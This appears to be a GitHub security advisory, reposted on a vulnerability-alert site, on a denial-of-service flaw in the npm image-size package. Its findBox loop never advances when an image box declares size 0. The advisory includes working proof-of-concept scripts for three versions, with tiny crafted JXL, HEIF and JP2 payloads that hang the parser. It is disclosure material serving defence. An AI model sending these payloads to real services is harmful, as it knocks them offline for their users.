GHSA-m5qc-5hw7-8vg7

First published: Wed Apr 02 2025(Updated: 3 days ago)

### Summary `image-size` is vulnerable to a Denial of Service vulnerability when processing specially crafted images. The issue occurs because of an infine loop in `findBox` when processing certain images with a box with size `0`. ### Details If the first bytes of the input does not match any bytes in `firstBytes`, then the package tries to validate the image using other handlers: ```js // https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31 export function detector(input: Uint8Array): imageType | undefined { const byte = input[0] if (byte in firstBytes) { const type = firstBytes[byte] if (type && typeHandlers[type].validate(input)) { return type } } const finder = (key: imageType) => typeHandlers[key].validate(input) //<-- return keys.find(finder) } ``` Some handlers that call `findBox` to validate or calculate the image size are `jxl`, `heif` and `jp2`. `JXL` handler calls `findBox` inside `validate`. To reach the `findBox` call, the value at position `4:8` should be `'JXL '` ```js // https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60 export const JXL: IImage = { validate: (input: Uint8Array): boolean => { const boxType = toUTF8String(input, 4, 8) if (boxType !== 'JXL ') return false //<--- const ftypBox = findBox(input, 'ftyp', 0) //<--- if (!ftypBox) return false const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12) return brand === 'jxl ' }, ``` `findBox` can lead to an infine loop because the value of `box.size` is `0`, thus the `offset` variable is not updated. Below relevant code with comments (using one of the `PAYLOAD` below as example): ```js // https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37 export const readUInt32BE = (input: Uint8Array, offset = 0) => input[offset] * 2 ** 24 + // 0 + input[offset + 1] * 2 ** 16 + // 0 + input[offset + 2] * 2 ** 8 + // 0 + input[offset + 3] // 0 // https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75 function readBox(input: Uint8Array, offset: number) { // offset: 0 if (input.length - offset < 4) return const boxSize = readUInt32BE(input, offset) // 0 if (input.length - offset < boxSize) return // (8 - 0) < 0 => false return { name: toUTF8String(input, 4 + offset, 8 + offset), // 'JXL ' offset, // 0 size: boxSize, // 0 } } // https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84 export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0 while (offset < input.length) { // 0 < 8 => false const box = readBox(input, offset) // { name: 'JXL ', offset: 0, size: 0 } if (!box) break // false if (box.name === boxName) return box // 'JXL ' === 'ftyp' => false offset += box.size // offset += 0 } } ``` A similar issue occurs for `HEIF` and `JP2` handlers: - https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts - https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts ### PoC Usage: ```bash node main.js poc1|poc2 ``` - poc for `image-size@2.0.1` ```js // mkdir 2.0.1 // cd 2.0.1/ // npm i image-size@2.0.1 const {imageSizeFromFile} = require("image-size/fromFile"); const {imageSize} = require("image-size"); const fs = require('fs'); // JXL const PAYLOAD = new Uint8Array([ 0x00, 0x00, 0x00, 0x00, // Box with size 0 0x4A, 0x58, 0x4C, 0x20, // "JXL " ]); // HEIF // const PAYLOAD = new Uint8Array([ // 0x00, 0x00, 0x00, 0x00, // Box with size 0 // 0x66, 0x74, 0x79, 0x70, // "ftyp" // 0x61, 0x76, 0x69, 0x66 // "avif" // ]); // JP2 // const PAYLOAD = new Uint8Array([ // 0x00, 0x00, 0x00, 0x00, // Box with size 0 // 0x6A, 0x50, 0x20, 0x20, // "jP " // ]); const FILENAME = "./poc.svg" function createPayload() { fs.writeFileSync(FILENAME, PAYLOAD); } function poc1() { (async () => { await imageSizeFromFile(FILENAME) console.log('Done') // never executed })(); } function poc2() { imageSize(PAYLOAD) console.log('Done') // never executed } const pocs = new Map(); pocs.set('poc1', poc1); // node main.js poc1 pocs.set('poc2', poc2); // node main.js poc2 async function run() { createPayload() const args = process.argv.slice(2); const t = args[0]; const poc = pocs.get(t) || poc1; console.log(`Running poc....`) await poc(); } run(); ``` - poc for `image-size@1.2.0` ```js // mkdir 1.2.0 // cd 1.2.0/ // npm i image-size@1.2.0 const sizeOf = require("image-size"); const fs = require('fs'); // JXL const PAYLOAD = new Uint8Array([ 0x00, 0x00, 0x00, 0x00, // Box with size 0 0x4A, 0x58, 0x4C, 0x20, // "JXL " ]); // HEIF // const PAYLOAD = new Uint8Array([ // 0x00, 0x00, 0x00, 0x00, // Box with size 0 // 0x66, 0x74, 0x79, 0x70, // "ftyp" // 0x61, 0x76, 0x69, 0x66 // "avif" // ]); // JP2 // const PAYLOAD = new Uint8Array([ // 0x00, 0x00, 0x00, 0x00, // Box with size 0 // 0x6A, 0x50, 0x20, 0x20, // "jP " // ]); const FILENAME = "./poc.svg" function createPayload() { fs.writeFileSync(FILENAME, PAYLOAD); } function poc1() { sizeOf(FILENAME) console.log('Done') // never executed } function poc2() { sizeOf(PAYLOAD) console.log('Done') // never executed } const pocs = new Map(); pocs.set('poc1', poc1); // node main.js poc1 pocs.set('poc2', poc2); // node main.js poc2 async function run() { createPayload() const args = process.argv.slice(2); const t = args[0]; const poc = pocs.get(t) || poc1; console.log(`Running poc....`) await poc(); } run(); ``` - poc for `image-size@1.1.1` ```js // mkdir 1.1.1 // cd 1.1.1/ // npm i image-size@1.1.1 const sizeOf = require("image-size"); const fs = require('fs'); // HEIF const PAYLOAD = new Uint8Array([ 0x00, 0x00, 0x00, 0x00, // Box with size 0 0x66, 0x74, 0x79, 0x70, // "ftyp" 0x61, 0x76, 0x69, 0x66 // "avif" ]); const FILENAME = "./poc.svg" function createPayload() { fs.writeFileSync(FILENAME, PAYLOAD); } function poc1() { sizeOf(FILENAME) console.log('Done') // never executed } function poc2() { sizeOf(PAYLOAD) console.log('Done') // never executed } const pocs = new Map(); pocs.set('poc1', poc1); // node main.js poc1 pocs.set('poc2', poc2); // node main.js poc2 async function run() { createPayload() const args = process.argv.slice(2); const t = args[0]; const poc = pocs.get(t) || poc1; console.log(`Running poc....`) await poc(); } run(); ``` ### Impact Denial of Service

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Read MoreStart Free Trial

• collector/github-advisory-latest
• source/GitHub
• alias/GHSA-m5qc-5hw7-8vg7
• agent/software-canonical-lookup
• agent/last-modified-date
• agent/weakness
• agent/source
• agent/references
• agent/severity
• agent/type
• agent/tags
• agent/softwarecombine
• agent/first-publish-date
• agent/description
• agent/event
• package-manager/npm